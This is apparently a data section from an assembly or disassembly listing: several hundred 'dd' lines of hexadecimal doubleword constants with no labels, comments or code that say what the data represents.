dd 249FEBC5h, 4803E29Dh, 650063F4h, 779A4166h, 0F5D50CAh
dd 640EE09Ch, 473D2080h, 757C255Bh, 7F888E00h, 0A614FAFDh
dd 784A0B10h, 0A804C8Fh, 6D0B735Fh, 93054FF2h, 22EC8488h
dd 0F454B7C0h, 79F07906h, 0FCB76B0h, 4E7930F8h, 0FC2D8580h
dd 1E00C47Eh, 0C24FDAECh, 0A0F786h, 27E853BFh, 7C26B549h
dd 800D0F3Bh, 0CE57036Ah, 7FF64CDh, 93536F30h, 7D4B7169h
dd 3E5A30EAh, 77DB0A16h, 4F8C703h, 0A801B874h, 0D09B0044h
dd 788D102Ah, 4D00E0DFh, 0FA591703h, 0AA0D8Eh, 0BA439185h
dd 7EADB474h, 5510D500h, 0EEB1612Eh, 8838002Ah, 9BBDEC85h
dd 9709DFABh, 5C201656h, 30F90079h, 948DE406h, 3E179500h
dd 5A57CDB9h, 0CFC50312h, 0F455116Ah, 3D2A4590h, 0E22E8107h
dd 0D321B2DBh, 79CCC954h, 7CF300A5h, 0D02DC8A4h, 7500241Eh
dd 0F225AC6Ch, 2C3A7649h, 0A6F697h, 70714130h, 69006C13h
dd 86A9AC63h, 630E6420h, 94FD28F2h, 0B202D3D8h, 0B700A0EAh
dd 0FC8E41F5h, 3C3E96DBh, 0E980D088h, 0D20F3510h, 7C1F909Fh
dd 69C7B78Ch, 1CF093C2h, 0B8F403h, 226ECE8h, 352504A1h
dd 52BCE00h, 0D5D3A79Ch, 0F7BE0011h, 0E5971042h, 8203A54Ah
dd 480EF6C1h, 99D5C019h, 94E701BEh, 6186662Ah, 0B8ECF450h
dd 7D0E1803h, 0B83D22DDh, 2B29Dh, 139B5A25h, 5772ACF8h
dd 0D6E46E00h, 99082788h, 0B24F0324h, 3F8A491Fh, 1C714AE0h
dd 0EF225Ch, 0EF42BD9Ah, 3B09D2h, 2ABCAC45h, 8F5BEE1h
dd 0BA38E407h, 0F8774307h, 0CB30B0D3h, 352C883Ah, 362A009Dh
dd 34283D06h, 74399110h, 677200C0h, 62431D70h, 64C30077h
dd 0A1286D66h, 5C036568h, 8A976318h, 12F1A80Bh, 5D405C10h
dd 6A6E0900h, 8F0E6560h, 2668A000h, 1A786255h, 7D7B0067h
dd 0E4F3DD28h, 0F600BE42h, 7A389514h, 0F99A156h, 9BE80435h
dd 2760A2E0h, 0C5007625h, 0DA49CC1Ah, 7FE04890h, 0E6CB0028h
dd 0EB144F22h, 0DE006A23h, 9025F42Ah, 280421BFh, 0A8EAF7h
dd 0C58B0745h, 94CF77F6h, 41DC490Bh, 75B18089h, 63F816h
dd 64535110h, 77712407h, 700073E6h, 62752676h, 777C691Ch
dd 0F9900029h, 5C244A15h, 6B7F074Ch, 57006F7Fh, 197BC728h
dd 0A02A1405h, 955689h, 24848913h, 836AA372h, 0EBF4220Fh
dd 0BCEFF7h, 4BD79001h, 19200049h, 6BC48B7Eh, 0CC0256BAh
dd 2566B322h, 64D7867Ah, 49E700E2h, 5614E350h, 0C800B801h
dd 130FABCAh, 29ACD8h, 0C32DCE3Bh, 276AE45Ch, 21574509h
dd 9A07D751h, 0A050B72Ah, 0A907ED97h, 0B2112B00h, 0AD2F5FE9h
dd 0CB1B48F7h, 0BB35BC00h, 9FAA141Dh, 0D9EE9200h, 46163AF4h
dd 0A319030Ah, 0CFD8254Fh, 458655F8h, 48125B7Ch, 0ED00A60Eh
dd 401F496Eh, 754A0047h, 13836653h, 200107Dh, 0C16AF90Ch
dd 7FC317h, 4B8142EBh, 2C0AD520h, 892F1301h, 0D40708F6h
dd 0FC64C4ECh, 0F748001Fh, 0DCC31645h, 21072EE6h, 0E319920Fh
dd 31590840h, 31B97A2Bh, 0BFEA3648h, 0D0856009h, 0EEFF2800h
dd 0ADC705Fh, 15890004h, 64A87B0h, 2D501245h, 68056ED0h
dd 0EF82CD8h, 403FB687h, 0D102AAD6h, 0BB400293h, 0C855F5E2h
dd 0BA8560C0h, 75F7CC00h, 48AC955Ah, 4AB90013h, 11F4ADD7h
dd 803908C4h, 4EEC4EC9h
dd 9884FB14h, 10146A00h, 398F32FFh, 395BAB2Ch, 77404E1Dh
dd 0D920E52Ch, 307A45h, 2D83DC05h, 0A10B40C4h, 2B6BE802h
dd 0E1A32341h, 77F01879h, 0D4E00FC7h, 6CA0F82Ah, 5708E999h
dd 0E152F903h, 782A8CEh, 50B814A4h, 5F9E40D5h, 64B8CA4Ch
dd 68F95E0Fh, 332DA083h, 7AB4F001h, 58A7035Ah, 0B82005B5h
dd 0E02AAAD9h, 0FC7050C4h, 0A5093Bh, 34058EB4h, 24F397ADh
dd 4F16A4h, 0E80183B8h, 39005E33h, 980A7448h, 161506h
dd 20135DD1h, 0EFC138EBh, 2FFA2400h, 34CA2EA3h, 4479030Eh
dd 6454231Bh, 0E26E3988h, 52DC7C00h, 0E4DAEA32h, 33560071h
dd 0FB35C810h, 4002C94h, 34301C84h, 162238h, 0EFFA8068h
dd 28E21065h, 3732C400h, 0EA9DE860h, 432E00C0h, 74276E61h
dd 6C00201Dh, 0A64DA6Fh, 3FC41A77h, 28731E58h, 18B22C3h
dd 5A9EFC08h, 0EB540584h, 0EC1811E9h, 8D01801Ch, 0F0524F0Ch
dd 88C05C15h, 83420168h, 0F1750AFAh, 7EC06EBDh, 6C9ED5h
dd 0FF558817h, 82297F3h, 0EC832500h, 10111C93h, 5C01750Ch
dd 213B7F6h, 0C34C002Dh, 0A80D03D6h, 18D38400h, 22155F2Fh
dd 6A6B0320h, 8AA2D55Ch, 0CFA132A3h, 37F2F4AFh, 4700EAB8h
dd 8524F710h, 1482C7h, 0CB560B23h, 0C47FBE4Eh, 0C07B0300h
dd 48C39428h, 1B2500C8h, 0B00C5793h, 473B3140h, 224E0053h
dd 8126A01Ch, 0C3511FBCh, 766DC00Bh, 482F680Ah, 1BDEFC01h
dd 2041A452h, 8D3BE8h, 0B8E72490h, 89F89F5Eh, 8A0FFC30h
dd 0AD6D22h, 77C90576h, 833AFBC4h, 9DF00805h, 0B240E8D4h
dd 1130222Ch, 7C097234h, 9F370744h, 2079D5EAh, 0C5B55DF8h
dd 0C3647200h, 8870B7AAh, 5A7C36h, 0F89838FBh, 0D9ED63E9h
dd 670E8900h, 87F8310h, 0EF9200DCh, 0EB755AA9h, 5DFAC244h
dd 0B2A8DB00h, 0B41B2C34h, 431C0736h, 4F8E7630h, 0E0380979h
dd 0B4009086h, 3EE8B0Eh, 8482EDh, 535718EFh, 2019320Bh
dd 0FCA41400h, 0CDDE752Ah, 5E40ED4h, 2C201021h, 34443088h
dd 0EB382000h, 0DA7E9732h, 84F000C4h, 0B4A2EF46h, 0AA00073Dh
dd 0B7B63FC2h, 482A4Dh, 31918757h, 0C39ADFA5h, 770DA900h
dd 49C2C6E9h, 0FC2E000Ch, 1CC7B2C9h, 0D89D0EF7h, 5CE8078Fh
dd 0F037B1B5h, 7A9D5443h, 0A1978200h, 0E4BB8335h, 72321D2Fh
dd 7BA6009Fh, 95431518h, 3A24223Ah, 1F2C3C8Bh, 7E404981h
dd 4C09A9ABh, 40FC8Dh, 1FF752F5h, 0B46B76FFh, 7B81100h
dd 7A31BC4Bh, 836C0014h, 0FF09B068h, 0E0003D5h, 0E0987ED6h
dd 0EA508D63h, 12723892h, 2B2C6B00h, 7DB68E8h, 0D55B3B00h
dd 6C0251ACh, 0D4055810h, 0F825E003h, 33D82A78h, 5E019722h
dd 7707C4E7h, 0E430EDD0h, 13AD002Ch, 0B3034F05h, 0D678A226h
dd 59957700h, 50408ABBh, 9DAC00C7h, 0C42C9B5Dh, 4400E6EBh
dd 0AA4F453Dh, 1CB0DE92h, 801F645Fh, 8E00CB4h, 0DC1F16B8h
dd 26002C2Ah, 69A6FAFCh, 68A0032h, 0EEF17D50h, 5A00EB99h
dd 20D803BCh, 40C00Ch, 5DFEC4D4h, 1DF8C85Bh, 639D7C00h
dd 62046942h, 16FA009Bh, 3640C611h, 0B1002266h, 63144D67h
dd 38BC5F68h, 1A808D3Ch, 0A3F3AC3Eh, 60E62FBh, 8029BB36h
dd 0F4531B6Ah, 43141D10h, 0ED5CE3Ah, 13FCBE0h, 0F0037D89h
dd 0CDAA0FB0h, 42AB9085h, 4EC0128h, 17BF39EBh, 0E488E052h
dd 63844407h, 0B2E0AAE0h, 0F379A27h, 537F5FBAh, 0F081A947h
dd 8BF3C3B0h, 89E4F007h, 9050F6F8h, 0E6720A78h, 41020048h
dd 646D69A9h, 0BD0033EEh, 0ADDCB368h, 22EA54h, 0FC44D815h
dd 7198A5D4h, 0A18F000h, 5EBD7943h, 0D0C80122h, 0D6CCA7F6h
dd 0DF5F7052h, 6F3D2900h, 9B177293h, 0FB5F0024h, 3B052BA3h
dd 730E0C58h, 250181EFh, 7A871942h, 9CC0B544h, 2F3031C7h
dd 0C37ED92Bh, 3858BF00h, 0E636A6h, 0FDBEBA70h, 69ABD42Fh
dd 78D80D00h, 4F71CCE8h, 0BC8D2CEAh, 8BF00032h, 0BF99E455h
dd 81DE5E3Bh, 0C6AB6BFBh, 21E82AE0h, 9D430712h, 90C2C788h
dd 18E7E4AAh, 1C750500h, 45724019h, 0BEBC0117h, 0C9744792h
dd 8E89305Eh, 1405CC2Ch, 1345F500h, 0EC6A6093h, 0F762018Ch
dd 25F25886h, 0B9830B9h, 4F071EEAh, 0AEE83EFFh, 9E369CA0h
dd 0EC200E4Dh, 5EE02384h, 75AD19A9h, 1741090Fh, 70038557h
dd 29DACC0h, 76DC00E8h, 8199101Ah, 0C01DFDF3h, 8B005B07h
dd 0D619917Fh, 94090022h, 0E76AA888h, 2901A263h, 0F5A75DF3h
dd 4AC41D8Dh, 68530081h, 0AD6F8A4h, 94287506h, 0CD00E954h
dd 0F210B329h, 22CD5A7h, 34970D31h, 740F649h, 9B3CCEBCh
dd 20A28094h, 0E17D41Eh, 388700C5h, 3B56422Eh, 0D60028C8h
dd 1BD29990h, 9876572Dh, 4B100059h, 0A5583553h, 0E3000B44h
dd 523B2C3Dh, 179382Ah, 0F469BD16h, 0E45E1739h, 8000BA0Bh
dd 5261C91Fh, 0EA6FF72h, 3D7B2416h, 65AB7160h, 6660233Eh
dd 0C12BC6E8h, 0C3FCE4h, 1653F2D4h, 2F7D044Ch, 8010973Eh
dd 30A47CBAh, 1BD395Fh, 0F886B774h, 0EC66F7B2h, 24003E96h
dd 135EEC21h, 16878Ah, 0FA23D52Fh, 36E8A952h, 58787D90h
dd 0F2549B00h, 84A30277h, 0B96D001Fh, 0AE37FB79h, 3B012711h
dd 2887A2ECh, 4DF0465Eh, 5DAD00B9h, 0B114CE5Ch, 9D0065A1h
dd 429AC8Eh, 6A13DAh, 0A662E756h, 0A4D7471Fh, 5FDF2Dh
dd 0A062C7Bh, 15E8EDCBh, 0C6386084h, 0C6647DE0h, 912871Fh
dd 0B6EBCD07h, 0FFCFFBF0h, 243C00F9h, 2E7FDA91h, 4D5CD293h
dd 3F070089h, 0B88B08D5h, 77A41DDFh, 48A680ABh, 0D011AFA3h
dd 26B9071Fh, 8458BB40h, 3768EB5h, 0FF6B8FE5h, 17A0C321h
dd 743AE247h, 78A40009h, 405BC083h, 597AF3h, 558AC203h
dd 74B81820h, 28754Ch, 641C9C08h, 15D8B97h, 0F851A87Ch
dd 0FC2494E7h, 0E0175B46h, 0C0000179h, 0BA5C1347h, 32DD3A0Ah
dd 88730D83h, 8A80ED33h, 8DFE2F44h, 340571Ch, 282D51Fh
dd 0E0FD8345h, 0EEF05D1h, 0BD08778Bh, 68D5200Bh, 0D0978Eh
dd 0FD9E5E4Ch, 0F977C4D9h, 96EC1600h, 0BE41FC55h, 0A0B01ACh
dd 0D883061Ah, 0C087617Dh, 5200148Dh, 2D974489h, 0CB3D6Ch
dd 696A2188h, 0F1FA1612h, 1F4AC800h, 3A7FF95Bh, 97150089h
dd 748F2E70h, 3006860h, 0ED754DF0h, 4A9142h, 0FD2F1AF9h
dd 627D7E9Bh, 420358h, 46204788h, 89B617h, 8551D687h, 18E00BA1h
dd 5425BA01h, 0F3137565h, 0A5E947EDh, 1117060h, 0A2920D42h
dd 0E8AB54B9h, 15FCF141h, 1CC020FCh, 887A1D94h, 84F40F4Fh
dd 2FCF2BF5h, 0BD857642h, 0F642AA80h, 8A3E957Ah, 0BB3C3Eh
dd 0D321A2DEh, 0F67D3DF7h, 0EF540077h, 9DAF8AFAh, 2976C24Ah
dd 671C1100h, 0A5BA582Ch, 68500762h, 37D7E344h, 132250BBh
dd 890020FDh, 31C8F09Fh, 7730E453h, 9117B28h, 5623F4B7h
dd 0B2622A8Fh, 0D0E01EF8h, 4C76FCC8h, 1628C700h, 875F8902h
dd 5B791DA9h, 0D28A40F4h, 3F71A108h, 0F120AC00h, 510C3730h
dd 89660013h, 82F0EBC1h, 49980901h, 7F59E012h, 0B39DE003h
dd 3E90F8CFh, 239A0318h, 2879AF8Bh, 104593C0h, 0D127E00Eh
dd 4203800Eh, 33F7024h, 254FF066h, 138896D5h, 1C004522h
dd 270520A8h, 0FF1455h, 0D55A56A4h, 0D0A3ABB6h, 0D7E48B00h
dd 0DA6B78E6h, 625D5C39h, 0EDCD600h, 0D0033C50h, 83C2EC3Bh
dd 9055FE78h, 7C408825h, 0F2EE0044h, 10C36003h, 4100D5E8h
dd 7B78F6EAh, 77FB0220h, 0F8E90033h, 7D9A5FCh, 6EC01609h
dd 71E8F1E0h
dd 23E0E23h, 0F826112Fh, 0B900EE21h, 60751735h, 5CCEEB8h
dd 9E80E56h, 4D9880D7h, 0EB00A67Ah, 0F0752283h, 0C3312Bh
dd 3BD3A0D0h, 327736F2h, 0E7B82000h, 875C48Fh, 0E30E00EFh
dd 122373D1h, 53005079h, 3C4F22AEh, 2A90D4h, 2941A991h
dd 0D15110A5h, 4A384700h, 5C2B590Dh, 9511000Ah, 2ABEE845h
dd 0C000715h, 4C78346h, 7053AF1h, 820F1A6Dh, 707A4051h
dd 0BC3C6FD7h, 5200791Ch, 0EF143065h, 0E4D0D40h, 0E3DB3110h
dd 0D0F71E02h, 85D275h, 0D8FA18F2h, 5408B324h, 1E1718E1h
dd 40CBFEDBh, 0EAE6E297h, 5F001EA4h, 72F8D4B5h, 0C4597Fh
dd 0C026FAB2h, 0E108B8BBh, 48743B00h, 0C6DE3780h, 85CA5803h
dd 7AA74C72h, 2BCD0379h, 10EB1ABBh, 6A0683F5h, 0D73529B0h
dd 5CA5E200h, 14F47970h, 2462F6EEh, 0B59428h, 97D103B9h
dd 4000806Fh, 0FA4AEBC7h, 1AC05Dh, 77C33BD9h, 0F23F9220h
dd 0ECF3CF00h, 0F7901773h, 2BD3011Dh, 105D65D0h, 8BBD20B4h
dd 3A61EB4Ch, 201E00C2h, 521572C3h, 537A3E48h, 2157F807h
dd 0EF64F0E2h, 0A000EEEh, 0B075C985h, 390561Eh, 0D8DBB5F3h
dd 0A788DECBh, 8E12225Dh, 0B1F4210h, 9184F740h, 80EA82h
dd 0FF88325h, 48202CB8h, 0F0950200h, 0E6433C9h, 50A75C3Eh
dd 0D600394Ch, 407E0CE9h, 114CFF02h, 80F0756h, 91F6482Eh
dd 3737566h, 0E888BA8Ch, 0F3E8DFA3h, 44C136AFh, 27D49A6Fh
dd 460BFCh, 56AB2C8Dh, 0B6E9434Ah, 23028301h, 80C3692Dh
dd 1932C280h, 0BC2042C7h, 0E19D2C01h, 294A8D4Fh, 208057DAh
dd 94A958F4h, 0B006DC3Ah, 2E5C34E9h, 8776032Fh, 714A0CAh
dd 21C7ACB8h, 0F048BA76h, 0A3A51E5Ch, 172061C0h, 0FF64845Ah
dd 5E85F8h, 0BBB3274Ah, 2E4BEC59h, 0C4102307h, 9A102B74h
dd 344975h, 143A7E39h, 27C3950Fh, 9421AF00h, 22F19DCAh
dd 93371F5Bh, 0BC6380BFh, 4F52740Fh, 1EA23907h, 8880103Dh
dd 16971Ah, 0C27043B4h, 0E9BBE837h, 125A7100h, 0E8FEF50h
dd 0D868001Ch, 0B3EA42D3h, 0A44CB421h, 0B12002Ch, 702EDD1h
dd 0E2B90083h, 58694A6Ch, 0C5005F28h, 5D898F5Ch, 7CF9531Fh
dd 79A000A8h, 168E4212h, 4000738Dh, 0E86D28EBh, 30E18h
dd 468A109Ch, 6492074Fh, 0C7215400h, 896FD2FFh, 269000ACh
dd 2481F505h, 7F00EA80h, 0F7C2AF82h, 0FAEFC9F8h, 5EFF0FC8h
dd 0A43E0ABh, 47B00270h, 9005821h, 6AF8E2E9h, 1616851Fh
dd 1553C08h, 0F2064369h, 0A5EEE012h, 0C9032707h, 0C00687Dh
dd 0B0F3EC80h, 6750022h, 12F3AF8h, 0F0085D7h, 31222F4h
dd 5CC3FD3Bh, 391C4A1Dh, 24CE4043h, 2DD8E83Dh, 3D12EA26h
dd 47AF4907h, 0F1AE0260h, 0C8040054h, 22289121h, 3A00442Fh
dd 30488A58h, 0EA1B8Bh, 3607A133h, 7D162CF1h, 7BEA03FAh
dd 0B215200h, 88F0C464h, 5E4789Dh, 0B1CF71B8h, 8E49C097h
dd 20009DBh, 8078BEFCh, 424412h, 0FE79B7E4h, 387450DAh
dd 1353126h, 9992803Bh, 0C2D4717Eh, 24DD005Bh, 0EBAE3BA0h
dd 41002CC4h, 823CB988h, 5C89CC29h, 63000A65h, 0F3E7B0FAh
dd 680035A4h, 0A2AEB5DCh, 0D15ED4h, 8C38600Bh, 56C3E850h
dd 8600C1E8h, 13B9E089h, 8B5B80h, 0FBC28110h, 0A104D614h
dd 3BDBDF38h, 774900D2h, 0E035FFEEh, 40655C4Bh, 45A4AF00h
dd 0E989619Ah, 5A046800h, 0AB505D28h, 87920758h, 872449A6h
dd 86B25134h, 3C71F02Bh, 7B184D07h, 0C11078A4h, 1D1CCC66h
dd 143EF8h, 4ED70889h, 83006C64h, 2F22098h, 112FC53h, 1C2693F4h
dd 0F4E7AA85h, 73013B1Fh, 8819826Dh, 0C6C81413h, 0C8AB00F7h
dd 584A4363h, 0B01F68EEh, 0CC808732h, 6238788Dh, 0E346074Bh
dd 0CFAB1875h, 4E405861h, 69C9C8CBh, 3E6A5F00h, 2437C48h
dd 18271E99h, 82007C55h, 6132A98h, 4000D7FFh, 8CC3FE11h
dd 0AD0343h, 0F8A83D16h, 2105472Bh, 7EA65400h, 0E90DE790h
dd 5CC4002Ch, 5219BCDAh, 4A00C0EFh, 3684CAFh, 24A4A0h
dd 0C2E8D649h, 28B40743h, 0DD12B501h, 45B85061h, 0E9641E0h
dd 8AC2379Ah, 0D305A6A1h, 7048FDCAh, 0F0324C3h, 4AC894F7h
dd 8810DB7Fh, 0F0FD5F9Fh, 49D00F65h, 0A9230814h, 1C0408Ah
dd 0F076034Eh, 93382B00h, 0B513E67Dh, 1FCD7C82h, 9F3D81F8h
dd 1C80FA2Ch, 7A6E883h, 24E279FAh, 32756600h, 4F84D74Eh
dd 0FFD50097h, 0B4EA3CC4h, 45003417h, 52442168h, 313E065Bh
dd 4A7854C1h, 0FD2CC3Ah, 0A69C8500h, 0DB9A52A7h, 0FCE200D9h
dd 4BA14634h, 2600EB54h, 0C32BA24h, 0EECC0850h, 0F1B207DCh
dd 9464594Fh, 60098010h, 23A8FCBh, 0A1F800A8h, 68672029h
dd 4FC62C28h, 0A9AA01ECh, 0F089D7CCh, 0CF00440Ah, 0B7DC16CEh
dd 8A0E34h, 9A5C217Bh, 74D017D3h, 8206A101h, 0C087E56Ch
dd 0D8C7D8h, 52B1D1ECh, 0E9C34005h, 5300257Ch, 4B22ABC2h
dd 17E7524h, 5A32894Eh, 0E8D0E419h, 297F27A3h, 6AB2F600h
dd 0A6CA5EA7h, 0F4AA0004h, 0BBB06DAFh, 0FA004B79h, 0DC4F34FDh
dd 0FB577D5h, 1DC0CC57h, 41C26CEFh, 5FC04DC2h, 83009872h
dd 62C6B0CAh, 3319AFh, 0E8C7042Ah, 0D40D5AB8h, 8074FF3Dh
dd 5710DA60h, 0F883B903h, 68D00D8h, 8614FD95h, 3500BBD2h
dd 311D892Bh, 2541B9h, 745106A3h, 4E525B03h, 0B293D200h
dd 1A8F73E8h, 0D75313DDh, 699C00BFh, 0CD65C26Dh, 0F4853B00h
dd 9149C48Dh, 30E860h, 739EB292h, 786E7DCBh, 0FAE87000h
dd 9718B059h, 0F47B1EC1h, 83BD872Fh, 4840F18Dh, 0E4ED600Dh
dd 0A35C1403h, 0B988A916h, 56309363h, 0D6970012h, 106A6132h
dd 607C7DB9h, 86901C00h, 89B2EC5h, 0DF81014Ah, 89A1919Eh
dd 0CC7AE0D3h, 220A5360h, 11C3E7h, 31642F0h, 41EC1215h
dd 0C76A2300h, 0B4DA468Ch, 17C00019h, 744A423Ah, 800A80Bh
dd 3E4C754Bh, 3D9B73h, 5D4E8CADh, 0C519EC6Eh, 24145A00h
dd 0A694C125h, 83E002h, 0DC97FC6Dh, 51702CC3h, 69AF000h
dd 0DE813EF4h, 1DE90002h, 29508E25h, 6F00754Fh, 94526796h
dd 3809BD69h, 0A400EA2Fh, 0D87C0782h, 8039E9C4h, 74B0097Dh
dd 4D560021h, 92DB91h, 32EC8F8h, 1150C329h, 5F67440Fh
dd 5D012005h, 3DD5C7h, 260DDAE6h, 824998F5h, 8774A01h
dd 0D4637550h, 0C8D01871h, 1906002Bh, 0E7BCEAC6h, 55006F4Bh
dd 53705B86h, 51F06Bh, 0ABC85E75h, 0D8E5A9B8h, 8500D177h
dd 4CF2DCEAh, 897458h, 0FC66EBD4h, 5D719052h, 85AC8000h
dd 6A2EC922h, 4BEE1C55h, 101E7ED5h, 2BAEC051h, 3C0FDF0h
dd 689F300h, 4C418CAFh, 42670075h, 3399CB1Fh, 0C438C2EFh
dd 3114804Ah, 5E044669h, 4E581E6Ch, 907D8025h, 0B4FE2F0Bh
dd 1A45DA00h, 4293C9CDh, 56290098h, 7C58C399h, 2E00905Ah
dd 7B05F569h, 0E4246EBh, 27754D6Fh, 0D5B00017h, 0A14A858Dh
dd 17EBF801h, 9A92FEB3h, 77A3D9D8h, 0AB4B0367h, 94327866h
dd 0EED5C490h, 0E8194200h, 0C9C7933Ch, 75480FCEh, 0F8E0C6ACh
dd 94D12E7Dh, 2DE18100h, 0AC13B27h, 0CA033D02h, 89080700h
dd 1E907519h, 0C2D37D00h, 20449DBEh, 95C11D05h, 8BD0CEA3h
dd 6109C380h, 0CC00C481h, 0F7F0167Fh, 3AA9D40Ch, 0DCA5D006h
dd 0E41480D7h, 392EE091h, 0E6802466h, 0DFB94B39h, 1F005B82h
dd 45C63842h, 0C4F964h, 83028485h, 60D78A89h, 0FE508200h
dd 3C70228Bh, 0E754009Dh, 0F0EACE64h, 530075DBh, 0CC88FF17h
dd 7E38E9E2h
dd 5E070C5Ah, 0B6A28304h, 0DE171303h, 0F178FF10h, 2660660Bh
dd 0B0F00Ch, 25FA453Bh, 5CF00D74h, 406C21Fh, 21A9DAC0h
dd 168BDFh, 50176655h, 19458940h, 0B70FF200h, 33310308h
dd 0E94300CCh, 3A3B0A60h, 741E3546h, 36000E67h, 261F0954h
dd 0A03F0095h, 4F665001h, 0B008102h, 0A6F2B752h, 3032FA53h
dd 755E0D45h, 0A9076241h, 2AD8A2B9h, 64178ED0h, 1F20047h
dd 4EEC8238h, 270134F3h, 5DC04A8Fh, 1BCD2E6Bh, 1D99DCh
dd 0EDA5FA29h, 0FBBB6001h, 2481660Bh, 1980FF7Dh, 258A2976h
dd 0A00074F6h, 530DE1FFh, 6731579Ch, 50F248D9h, 45B398Eh
dd 1CF4E83Bh, 6A80803Fh, 4E268D0Ah, 4F740008h, 0ED8C03E7h
dd 7D00E91Eh, 3C51AEE0h, 0F1250F6h, 23AB4056h, 9F53D20h
dd 0FC0101EAh, 22FEC9B3h, 0BE88565h, 3AFF450h, 7FF64269h
dd 20E70E32h, 3C65BE58h, 0E7215317h, 0DD121FFFh, 45CF0011h
dd 13BE0E62h, 0B0D47100h, 8C9D4792h, 3CA4070Ch, 5090A303h
dd 83D5ECBDh, 0AC68501h, 52C77853h, 0F854ECh, 50908603h
dd 4D07E924h, 83376400h, 8A84AD2Ah, 91480543h, 0C09B124Ah
dd 30413201h, 0A8FEA973h, 42BAB800h, 15730ADCh, 0C93D0045h
dd 0DA4B5A1Ch, 57004D82h, 3C47E194h, 0CFDC21h, 44D88871h
dd 0EE39FEC7h, 1AE04A30h, 0C55E9h, 9348949Bh, 0B681D291h
dd 75393Eh, 0AA51F527h, 4F42EDh, 0E31224A6h, 0F687477Ch
dd 10939504h, 7C8014BFh, 740A25Ah, 0E802F49Dh, 0F5687791h
dd 0F856C0DBh, 0D31C25FEh, 28DF582Ah, 89F20380h, 2CE4542h
dd 5C261CC0h, 405D217Eh, 183CDC18h, 10352350h, 5F00C212h
dd 0A18FC32h, 60C48554h, 0D031C4D4h, 873C7E1Bh, 4DAF8190h
dd 0EE41058h, 121760E4h, 0BD90ABCh, 0B68F0882h, 3740EBA0h
dd 523FD655h, 344380A5h, 0FC570DDBh, 867F00A8h, 104512B5h
dd 0CC03FA91h, 0CA73B817h, 6BE000E2h, 1182DE4Ah, 55001F62h
dd 0A48A3E19h, 13399Fh, 0B2EBFB54h, 9CB8C26Ch, 81D40938h
dd 2978064Fh, 58619E11h, 0F3AFC8h, 0F7DC2074h, 4CFDE002h
dd 54112300h, 83D24222h, 0D44800C1h, 0C925A7F2h, 0E2021975h
dd 74A47F72h, 8EC7E0FBh, 71F70EB4h, 85E02CF0h, 0E387831Ch
dd 500002F2h, 0FA16E98Ah, 3F930BD1h, 851F8DC3h, 4B14032h
dd 0A83A1029h, 0A27D3Bh, 631277Eh, 3C432Bh, 530C63A1h
dd 5D93CA24h, 0E01F1FE4h, 0FE3BF8h, 0B2830F28h, 308D8Bh
dd 0E81E4053h, 6B3C1219h, 1876B3F6h, 4F07F400h, 8A05C283h
dd 5F3203F5h, 0FFFA9629h, 8625DFB0h, 6A0033FAh, 0F1450B0h
dd 189F87h, 6F22832Dh, 5940EFF7h, 0BC895407h, 0FAB04975h
dd 0D1C680h, 83740567h, 724FBA68h, 0F021D605h, 0F780753Bh
dd 488063h, 74182D7Bh, 0C69F3F3Ch, 8A424B00h, 0D241652Ah
dd 478100EFh, 17C5625h, 6800625Bh, 12F03918h, 1DBDDA1Ch
dd 0C07FC9A0h, 564767B6h, 6A4CFE15h, 340015Bh, 9EC75281h
dd 772F9CCCh, 0BE053E86h, 44CA5900h, 8475F8A7h, 0FC1C400Bh
dd 0DF3A0953h, 142B080h, 743CC23Bh, 226C000Ah, 0F4CF286Eh
dd 4DE9009Fh, 254013A9h, 743AE448h, 0F74A829Dh, 60553899h
dd 0EB75949h, 611DE1ABh, 51889A38h, 790B6603h, 0C88FC743h
dd 714A610h, 3758E1A5h, 0E4069159h, 8EBD4092h, 4D786599h
dd 0EA058DECh, 0B8E0A02Fh, 0F08B67C3h, 1B49B7Dh, 5D3EEBC2h
dd 21E6AD71h, 0CB9A60CBh, 0DBC04D00h, 7C2FBADCh, 63760022h
dd 5D50EA53h, 691FC973h, 5B1FFC96h, 97B89880h, 1F86D71h
dd 679D18C2h, 0E0E22D24h, 7C7F1CD7h, 0ADD45C04h, 4980CDD8h
dd 74F45969h, 0A5270379h, 8867DD25h, 12D865ABh, 5513B2ECh
dd 20B8D0E5h, 1797EA00h, 0F8A53D23h, 15286728h, 0CCB3DF01h
dd 484666C4h, 2F55DCh, 99C76806h, 0AB6E1597h, 54B34B33h
dd 89DDD8CBh, 0A36800CFh, 0DA90E805h, 0B001E2Dh, 71D3A009h
dd 78F25274h, 12FEB4h, 0E15AE659h, 708EC6Bh, 0C71C6300h
dd 0BF0244F6h, 0C57284h, 0E28CB895h, 573FC9E4h, 13B07E00h
dd 1541FF4Dh, 7B3C0040h, 273B9591h, 7800CB69h, 7EFDDA92h
dd 90C916h, 0D302D088h, 49F3D69Dh, 18000574h, 955B1C36h
dd 24588496h, 28FFF01h, 4E1E2B2Eh, 0C1574740h, 2894200h
dd 598CF986h, 3FFCFAh, 78C89F0Ah, 9A4D1025h, 0FD45140h
dd 53B05297h, 4009EB60h, 3500DE2Ah, 8CEEF992h, 1F5888FDh
dd 43A63C24h, 2149B11h, 0D15298D0h, 8034F03Bh, 0B948A2FFh
dd 0FFC097Bh, 0E946DADCh, 4D000D3h, 0D840FD2h, 39EE0200h
dd 28ECC336h, 768390F6h, 0A350008Fh, 1466D4E2h, 3A00D845h
dd 0DB138D16h, 39A53EBh, 0BBD3FBACh, 7BE0B603h, 3C00E340h
dd 0AB866711h, 0E27D049h, 0CF467107h, 801DE800h, 4D7F0326h
dd 59C11700h, 62478CD5h, 3CD91DB6h, 58CE45D2h, 6F2A8066h
dd 103BBF86h, 233EAC45h, 4B074703h, 0B4C7E825h, 8230014h
dd 0A9A1F9CFh, 70F50212h, 2B2C1CBAh, 881D3706h, 1BAC2040h
dd 0E3D01h, 265A366Bh, 0BF4D50EDh, 0A1CD1C00h, 0A094C3C9h
dd 453055Dh, 0E1D79C4Ch, 333E818h, 0A4140800h, 0C415BB86h
dd 582BF01Dh, 5003835Dh, 78AD0364h, 0DEB014EBh, 0F1071EA8h
dd 1832825Eh, 0C04B050h, 4C9F05D3h, 80DE7E75h, 83E9D5BEh
dd 3A1D7B77h, 308F03C9h, 9D14020h, 14266Ah, 48A0AC52h
dd 2C82B718h, 663DFB98h, 8A98009Dh, 0C321C954h, 2B8E2699h
dd 71780158h, 0C4453561h, 0AD001238h, 14EB7F33h, 0B2C4396h
dd 2F847D18h, 90DDC980h, 324C826h, 3F17E3FBh, 0A1575A00h
dd 50CFFD2h, 83CD3B24h, 87D30023h, 0F210D455h, 127D600h
dd 0B018C0F1h, 24C4070Eh, 302814BDh, 40CB439h, 0B376871Dh
